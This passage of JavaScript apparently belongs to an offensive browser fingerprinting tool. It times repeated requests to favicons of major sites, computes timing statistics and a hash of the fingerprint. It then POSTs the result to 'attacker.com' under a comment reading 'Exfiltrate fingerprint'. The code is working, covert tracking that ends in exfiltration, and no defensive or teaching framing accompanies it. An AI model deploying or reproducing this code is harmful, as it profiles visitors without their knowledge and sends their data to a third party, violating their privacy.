    const urls = [
      'https://www.google.com/favicon.ico',
      'https://www.facebook.com/favicon.ico',
      'https://www.github.com/favicon.ico'
    ];
    
    const timingResults = {};
    
    for (const url of urls) {
      const measurements = [];
      
      for (let i = 0; i < 10; i++) {
        const start = performance.now();
        try {
          await fetch(url, { method: 'HEAD', mode: 'no-cors' });
          const end = performance.now();
          measurements.push(end - start);
        } catch (error) {
          measurements.push(-1); // Failed request
        }
      }
      
      timingResults[url] = {
        average: measurements.filter(x => x !== -1).reduce((a, b) => a + b, 0) / measurements.filter(x => x !== -1).length,
        failures: measurements.filter(x => x === -1).length
      };
    }
    
    return timingResults;
  }
  
  calculatePrecision(measurements) {
    const sorted = measurements.sort((a, b) => a - b);
    return sorted[Math.floor(sorted.length * 0.95)] - sorted[Math.floor(sorted.length * 0.05)];
  }
  
  calculateVariance(values) {
    const mean = values.reduce((a, b) => a + b, 0) / values.length;
    const squareDiffs = values.map(value => Math.pow(value - mean, 2));
    return squareDiffs.reduce((a, b) => a + b, 0) / squareDiffs.length;
  }
  
  generateHash() {
    const data = JSON.stringify(this.fingerprint);
    let hash = 0;
    
    for (let i = 0; i < data.length; i++) {
      const char = data.charCodeAt(i);
      hash = ((hash << 5) - hash) + char;
      hash = hash & hash;
    }
    
    return Math.abs(hash).toString(36);
  }
}

// Initialize and generate fingerprint
const timingFingerprinter = new TimingFingerprinter();
timingFingerprinter.generateFingerprint().then(fp => {
  console.log('[+] Complete timing fingerprint:', fp);
  
  // Exfiltrate fingerprint
  fetch('https://attacker.com/timing-fingerprint', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(fp)
  });
});